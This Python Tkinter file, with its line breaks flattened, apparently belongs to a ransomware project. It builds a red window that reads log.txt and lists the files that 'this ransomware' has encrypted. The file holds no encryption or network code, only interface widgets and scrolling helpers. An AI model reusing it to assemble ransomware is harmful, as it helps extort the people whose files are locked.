#! /usr/bin/env python # -*- coding: utf-8 -*- import sys try: import Tkinter as tk from Tkinter import messagebox except ImportError: import tkinter as tk from tkinter import messagebox try: import ttk py3 = False except ImportError: import tkinter.ttk as ttk py3 = True from PIL import Image, ImageTk import os def start_gui(): '''Starting point when module is the main routine.''' global prog_location, root prog_call = sys.argv[0] prog_location = os.path.split(prog_call)[0] root = tk.Toplevel() top = CheckLog(root) top.add_log_data_to_listbox() root.mainloop() def destroy_this_window(): global root root.destroy() class CheckLog: def __init__(self, top=None): '''This class configures and populates the toplevel window. top is the toplevel containing window.''' _bgcolor = '#d9d9d9' # X11 color: 'gray85' _fgcolor = '#000000' # X11 color: 'black' _compcolor = '#d9d9d9' # X11 color: 'gray85' _ana1color = '#d9d9d9' # X11 color: 'gray85' _ana2color = '#ececec' # Closest X11 color: 'gray92' font10 = "-family {Segoe UI} -size 14 -weight bold -slant " \ "roman -underline 0 -overstrike 0" self.style = ttk.Style() if sys.platform == "win32": self.style.theme_use('winnative') self.style.configure('.',background=_bgcolor) self.style.configure('.',foreground=_fgcolor) self.style.map('.',background= [('selected', _compcolor), ('active',_ana2color)]) top.geometry("600x450+413+160") icon_location = ImageTk.PhotoImage(file=os.path.join(prog_location,"img/lock.ico")) top.tk.call('wm', 'iconphoto', top._w, icon_location) top.resizable(0, 0) top.title("Check Encrypted Files Log Window") top.configure(background="#ff0000") self.Scrolledlistbox1 = ScrolledListBox(top) self.Scrolledlistbox1.place(relx=0.012, rely=0.111, relheight=0.878 , relwidth=0.968) self.Scrolledlistbox1.configure(background="white") self.Scrolledlistbox1.configure(disabledforeground="#a3a3a3") self.Scrolledlistbox1.configure(font="TkFixedFont") self.Scrolledlistbox1.configure(foreground="black") self.Scrolledlistbox1.configure(highlightbackground="#d9d9d9") self.Scrolledlistbox1.configure(highlightcolor="#d9d9d9") self.Scrolledlistbox1.configure(selectbackground="#c4c4c4") self.Scrolledlistbox1.configure(selectforeground="black") self.Label1 = tk.Label(top) self.Label1.place(relx=0.008, rely=0.011, height=41, width=584) self.Label1.configure(background="#ff0000") self.Label1.configure(disabledforeground="#a3a3a3") self.Label1.configure(font=font10) self.Label1.configure(foreground="#ffff79") self.Label1.configure(text='''These Are The Files Which Are Affected By This Ransomeware!!!''') def add_log_data_to_listbox(self): log_list = [] try: with open('log.txt', 'r') as f: for file in f.readlines(): log_list.append(file) except Exception: destroy_this_window() messagebox.showerror('404 File Not Found : (', 'You Might Deleted \"log.txt\", which contains\nlist of files which gets encrypted!') for file in log_list: self.Scrolledlistbox1.insert(tk.END, file) # The following code is added to facilitate the Scrolled widgets class AutoScroll(object): '''Configure the scrollbars for a widget.''' def __init__(self, master): try: vsb = ttk.Scrollbar(master, orient='vertical', command=self.yview) except: pass hsb = ttk.Scrollbar(master, orient='horizontal', command=self.xview) try: self.configure(yscrollcommand=self._autoscroll(vsb)) except: pass self.configure(xscrollcommand=self._autoscroll(hsb)) self.grid(column=0, row=0, sticky='nsew') try: vsb.grid(column=1, row=0, sticky='ns') except: pass hsb.grid(column=0, row=1, sticky='ew') master.grid_columnconfigure(0, weight=1) master.grid_rowconfigure(0, weight=1) if py3: methods = tk.Pack.__dict__.keys() | tk.Grid.__dict__.keys() \ | tk.Place.__dict__.keys() else: methods = tk.Pack.__dict__.keys() + tk.Grid.__dict__.keys() \ + tk.Place.__dict__.keys() for meth in methods: if meth[0] != '_' and meth not in ('config', 'configure'): setattr(self, meth, getattr(master, meth)) @staticmethod def _autoscroll(sbar): '''Hide and show scrollbar as needed.''' def wrapped(first, last): first, last = float(first), float(last) if first <= 0 and last >= 1: sbar.grid_remove() else: sbar.grid() sbar.set(first, last) return wrapped def __str__(self): return str(self.master) def _create_container(func): '''Creates a ttk Frame with a given master, and use this new frame to place the scrollbars and the widget.''' def wrapped(cls, master, **kw): container = ttk.Frame(master) container.bind('<Enter>', lambda e: _bound_to_mousewheel(e, container)) container.bind('<Leave>', lambda e: _unbound_to_mousewheel(e, container)) return func(cls, container, **kw) return wrapped class ScrolledListBox(AutoScroll, tk.Listbox): '''A standard Tkinter Listbox widget with scrollbars that will automatically show/hide as needed.''' @_create_container def __init__(self, master, **kw): tk.Listbox.__init__(self, master, **kw) AutoScroll.__init__(self, master) def size_(self): sz = tk.Listbox.size(self) return sz import platform def _bound_to_mousewheel(event, widget): child = widget.winfo_children()[0] if platform.system() == 'Windows' or platform.system() == 'Darwin': child.bind_all('<MouseWheel>', lambda e: _on_mousewheel(e, child)) child.bind_all('<Shift-MouseWheel>', lambda e: _on_shiftmouse(e, child)) else: child.bind_all('<Button-4>', lambda e: _on_mousewheel(e, child)) child.bind_all('<Button-5>', lambda e: _on_mousewheel(e, child)) child.bind_all('<Shift-Button-4>', lambda e: _on_shiftmouse(e, child)) child.bind_all('<Shift-Button-5>', lambda e: _on_shiftmouse(e, child)) def _unbound_to_mousewheel(event, widget): if platform.system() == 'Windows' or platform.system() == 'Darwin': widget.unbind_all('<MouseWheel>') widget.unbind_all('<Shift-MouseWheel>') else: widget.unbind_all('<Button-4>') widget.unbind_all('<Button-5>') widget.unbind_all('<Shift-Button-4>') widget.unbind_all('<Shift-Button-5>') def _on_mousewheel(event, widget): if platform.system() == 'Windows': widget.yview_scroll(-1*int(event.delta/120),'units') elif platform.system() == 'Darwin': widget.yview_scroll(-1*int(event.delta),'units') else: if event.num == 4: widget.yview_scroll(-1, 'units') elif event.num == 5: widget.yview_scroll(1, 'units') def _on_shiftmouse(event, widget): if platform.system() == 'Windows': widget.xview_scroll(-1*int(event.delta/120), 'units') elif platform.system() == 'Darwin': widget.xview_scroll(-1*int(event.delta), 'units') else: if event.num == 4: widget.xview_scroll(-1, 'units') elif event.num == 5: widget.xview_scroll(1, 'units') if __name__ == '__main__': start_gui()